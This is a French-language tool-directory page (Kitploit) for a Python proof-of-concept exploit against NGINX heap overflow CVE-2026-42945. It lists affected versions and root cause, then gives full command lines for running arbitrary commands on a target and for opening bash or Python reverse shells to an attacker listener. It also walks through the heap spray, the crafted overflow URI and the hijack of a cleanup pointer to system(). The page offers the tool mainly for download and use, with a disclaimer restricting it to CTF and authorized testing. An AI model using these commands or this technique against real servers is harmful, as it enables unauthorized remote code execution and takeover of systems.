Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42945-Reverse-Shell-POC — Python RCE PoC avec listener de reverse-shell pour CVE-2026-42945 (NGINX Rift) | Kitploit
Outils/GitHubGitHub/sec-sys/cve-2026-42945-reverse-shell-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionRed TeamingOutil d'Accès à DistanceExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubsec-sys/cve-2026-42945-reverse-shell-poc

CVE-2026-42945-Reverse-Shell-POC

Python RCE PoC avec listener de reverse-shell pour CVE-2026-42945 (NGINX Rift)

Voir le dépôt
il y a 2 moisPas encore vérifié

PoC RCE avec Reverse Shell pour CVE-2026-42945 (NGINX Rift)

Preuve de concept d'exécution de code à distance pour CVE-2026-42945, un débordement de tas dans le module ngx_http_rewrite_module de NGINX. Ce fork étend le PoC de déclenchement public avec un écouteur de reverse shell intégré et des paramètres d'exploitation configurables pour les environnements CTF et les laboratoires isolés.


Résumé de la vulnérabilité

  • CVE ID : CVE-2026-42945
  • Alias : NGINX Rift
  • Composant affecté : ngx_http_rewrite_module
  • Versions affectées : NGINX Open Source 0.6.27 – 1.30.0 ; NGINX Plus R32 – R36
  • Versions corrigées : NGINX Open Source 1.30.1 / 1.31.0 ; NGINX Plus R36 P4, R35 P2, R32 P6
  • Cause racine : Incohérence du moteur de script à deux passes. La passe de calcul de longueur s'exécute sur un sous-moteur neuf avec is_args = 0, tandis que la passe de copie s'exécute sur le moteur principal avec is_args = 1, invoquant ngx_escape_uri(..., NGX_ESCAPE_ARGS). Chaque octet échappable est expansé en 3 octets, provoquant un débordement d'un tampon de tas sous-dimensionné avec des données URI contrôlées par l'attaquant.
  • Prérequis pour le RCE : Configuration vulnérable rewrite/set utilisant des captures PCRE non nommées ($1, $2) ainsi que ? dans la chaîne de remplacement ; ASLR désactivé ou adresses de base du tas/libc connues ; capacité d'arroser le tas via des corps de requêtes POST.

Fichiers

FichierDescription
cve_2026_42945_rce_poc.pyExploit Python avec écouteur de reverse shell intégré et modes d'exécution de commandes.

Prérequis

  • Python 3.8+
  • Instance NGINX cible correspondant à la version vulnérable et au profil de configuration.
  • Accessibilité réseau vers le port HTTP de la cible.
  • Pour le reverse shell : l'hôte de l'attaquant doit être joignable depuis la cible sur le port d'écoute choisi.

Utilisation

Exécuter une commande unique

root@kitploit:~
python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --cmd "id > /tmp/pwned"

Lancer un reverse shell (bash par défaut)

root@kitploit:~
python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

Payload de reverse shell en Python

root@kitploit:~
python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --shell-type python \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

Calibrer les adresses pour une cible spécifique

root@kitploit:~
python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337 \
  --heap-base 0x555555659000 \
  --libc-base 0x7ffff77ba000 \
  --system-offset 0x50d70

Fonctionnement

  1. Heap Spray : Envoyer plusieurs requêtes POST dont les corps contiennent une fausse structure ngx_pool_cleanup_s : system@libc | pointer to command | null. Ces corps occupent des emplacements de tas stables.
  2. Déclenchement du débordement : Envoyer une requête GET spécialement conçue vers un endpoint rewrite vulnérable. Le motif de l'URI est :
    root@kitploit:~
    /api/<349 x 'A'><969 x '+'><6-byte heap address>
    
    Le débordement corrompt le pointeur cleanup d'un ngx_pool_t adjacent.
  3. Exécution de code : Lorsque le pool est détruit, le pointeur cleanup corrompu invoque system(command), exécutant la commande contrôlée par l'attaquant dans le processus worker NGINX.
  4. Reverse Shell : Si --shell est utilisé, la commande est un payload de reverse shell et l'écouteur intégré capte la connexion entrante.

Avis de sécurité

Cet outil est destiné à :

  • Exercices CTF et de laboratoire.
  • Tests d'intrusion autorisés avec autorisation écrite.
  • Recherche en sécurité et activités de renforcement des défenses.

Ne pas l'utiliser sur des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.


Licence

Utilisation à vos propres risques. L'auteur n'est pas responsable de toute utilisation non autorisée ou illégale.


Attribution

Recherche sur la vulnérabilité et PoC originaux par depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Ce fork Python avec reverse shell a été créé pour une utilisation en laboratoire red-team / CTF.


Références

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-42945
  • Avis de sécurité NGINX : https://nginx.org/en/security_advisories.html
  • Base de connaissances F5 / NGINX : https://my.f5.com/manage/s/article/K000161019
  • Dépôt de recherche original : https://github.com/depthfirstdisclosures/nginx-rift
Télécharger l’outil